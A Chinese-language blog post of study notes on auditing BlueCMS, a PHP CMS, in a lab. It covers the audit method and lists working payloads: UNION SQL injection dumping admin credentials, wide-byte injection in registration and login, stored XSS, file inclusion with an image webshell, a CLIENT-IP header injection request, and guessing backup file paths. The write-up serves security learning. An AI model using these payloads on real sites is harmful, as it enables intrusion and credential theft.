这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。算是一个记录了我的学习心得,学习的过程的文章。
1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马;
2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马);
3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏;
4.但凡没有使用单引号的变量都可以绕过魔术引号的转译;
5.代码审计从有输入的地方入手。
1.分析项目结构,分析配置文件(是否存在统一过滤)
2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量)
3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞
4.对个别文件进行通读(尤其注意有输入的地方)。如user.php
5.搜索危险函数
分析项目结构:
/admin为后台管理员
/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件
/install安装
分析配置文件:
思路1:关键字$_GET,$_POST等搜索,看有无过滤
思路2:看主页index包含了哪些配置文件
common.inc.php
对配置文件进行审计,在include文件夹下common.inc.php文件中发现
存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)
*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip
对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)
首先,对Install.lock全局搜索
发现install.lock文件的处理有逻辑错误
对应代码
代码分析
is_writeable()函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功
按照配置文档的审计:统一过滤存在绕过问题
全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
跟踪$ad_id
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
getone函数
使用元数据表爆出表名
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
爆出字段
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
获取用户名密码
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
存在注入的两条语句
$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid);
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);
getfirst()函数
*和getone()函数功能一样,均为执行查询只是返回值不同为变量
cid和ann_id被赋值过程
被intval处理过了,不能注入
备注:学习intval特性可能导致安全漏洞http://huaidan.org/archives/3047.html
同理无法注入的部分:
1.command.php里的两条sql
按照功能审计:支付功能
(1)act=pay时的文件包含漏洞
存在文件包含漏洞
漏洞利用BurpSuite抓包:
利用结合:头像上传,上传图片马然后执行
(2)@unlink(BLUE_ROOT.$_POST['face_pic3'])
按照功能审计:用户注册,登录,编辑个人资料
学习:https://www.freebuf.com/articles/web/203795.html?utm_source=tuicool&utm_medium=referral
(1)注册存在注入漏洞(SQL和XSS)
先黑盒测试注册抓包
然后再去审计工具找对应代码
没有对XSS的相关符号进行过滤。存在存储型XSS
注入后效果:
注册对应SQL语句
构建payload
%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#
其中(100,0×6162717765,md5(123456),(select database()),1,1)为创建的新用户,100为uid,十六进制为用户名
*补充知识:updatexml(),extractvalue()报错型SQL注入
https://blkstone.github.io/2017/11/09/updatexml-sqli/
(2)登录处存在注入漏洞(SQL和XSS)
黑盒+白盒审计能否无验证登录任意账户
首先黑盒测试抓包
白盒找变量处理对应代码
login函数
没有什么过滤。用万能密码登录测试
payload:
%df’) or 1=1#
(3)编辑个人资料
白盒至个人资料处,检查是否存在XSS漏洞。查看对应代码处
通注册一样的,email注入xss(其他字段长度受限)
(4)新闻添加处
对htmlspeciachars发现,descript和content没有进行过滤
filter_data函数
可以进行绕过的。正则表达式表示过滤掉除了<之外一切<>之间模式匹配的的内容(<和下一个字符没有空格才能被过滤掉)
mb_substr()函数获取字符串的一部分,
$descript = !empty($_POST['descript']) ?mb_substr($_POST['descript'], 0, 90) :mb_substr(html2text($_POST['content']),0, 90);
mb_substr($_POST['descript'], 0, 90)表示从0位置开始取90个长度。可以直接注入XSS
效果图如下
(5)用户头像处
https://www.zkaq.org/?t/159.html图片马的制作及菜刀的使用
按照功能审计:评论
对评论处发现支持匿名评论
BurpSuite抓包如图,到comment.php下 寻找对应act=send处的代码
分析其中:
(1)SQL插入处没有过滤
(2)对comment部分的过滤有:htmlspecialchars
(3)ip获取处是getip()函数
*htmlspecialchars是将特殊字符转为html实体,如& ” ‘ < >
*nl2br是在加html的换行符的
查找其中getip()函数
可以利用X-FORWARDED_FOR控制ip传参(用sqlmap)
然后我把请求头保存至bluecms_1.txt中(如下)
POST /comment.php?act=send HTTP/1.1
Host: 192.168.1.134
CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:http://192.168.1.134/comment.php?id=1&type=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Connection: close
Cookie: PHPSESSID=fd016adb291716840e559d1873ecc817
Upgrade-Insecure-Requests: 1
mood=1&comment=%CF%CC%D3%E3%D3%E3&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
#
成功注入图:
按照功能审计:数据库备份
直接黑盒测试功能审计,备份好数据库后,发现数据库名称直接是日期。尝试爆破地址
http://192.168.1.133/data/backup/20190629.sql
可以访问。爆出了管理员用户名密码
参考文章列表:
1.https://foxgrin.github.io/posts/52227/
2.https://www.freebuf.com/vuls/196190.html
*本文作者:Aerial,转载请注明来自FreeBuf.COM